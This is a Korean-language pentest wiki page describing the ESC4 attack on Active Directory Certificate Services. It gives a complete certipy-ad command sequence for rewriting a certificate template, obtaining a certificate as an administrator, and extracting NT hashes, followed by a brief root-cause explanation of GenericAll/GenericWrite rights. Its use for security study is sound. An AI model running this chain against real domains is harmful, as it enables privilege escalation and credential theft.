> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/active-directory/adcs/esc4.md).

# ESC4

ESC4은 다음과 같은 속성들이 모두 만족할 때 가능한 ADCS 공격입니다.

<table><thead><tr><th width="399">속성</th><th>값</th></tr></thead><tbody><tr><td>Authorized Signatures Required</td><td>0</td></tr><tr><td>Requires Manager Approval</td><td>False</td></tr><tr><td>Enrollment Rights</td><td>공격자가 컨트롤 가능한 객체 이하의 권한</td></tr><tr><td>User ACL Principals</td><td>공격자가 컨트롤 가능한 객체</td></tr></tbody></table>

템플릿에 대해서 높은 권한을 가진 계정을 탈취하는데 성공하면 템플릿의 속성을 ESC1에 취약하게 변경할 수 있습니다.&#x20;

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># 템플릿 속성 변경
</strong>certipy-ad template -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -template '&#x3C;template>' -write-default-configuration

<strong># 템플릿을 통한 인증서 발급
</strong>certipy-ad req -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -ca '&#x3C;ca-name>' -template '&#x3C;template>' -upn '&#x3C;administrator@domain>' -sid '&#x3C;sid>'

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'

<strong># 템플릿 속성 복구
</strong>certipy-ad template -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -template '&#x3C;template>' -write-configuration 'ESC4.json' -no-save
</code></pre>

## Root Cause

#### User ACL Principals

템플릿에 대해서 GenericAll, GenericWrite 권한이 있으면 해당 템플릿의 모든 속성을 ESC1에 적합하도록 변경할 수 있습니다. 악용을 위해 변경하는 속성들에 대한 설명은 [ESC1](/active-directory/adcs/esc1.md)을 참고하세요.

<figure><img src="/files/UWsaDuGD6Sou1bFyRhtm" alt=""><figcaption><p>User ACL Principals</p></figcaption></figure>

## References

{% embed url="<https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc4/>" %}

{% embed url="<https://www.beyondtrust.com/blog/entry/esc4-attacks>" %}

{% embed url="<https://redteam.wiki/postexploitation/active-directory/adcs/esc4>" %}
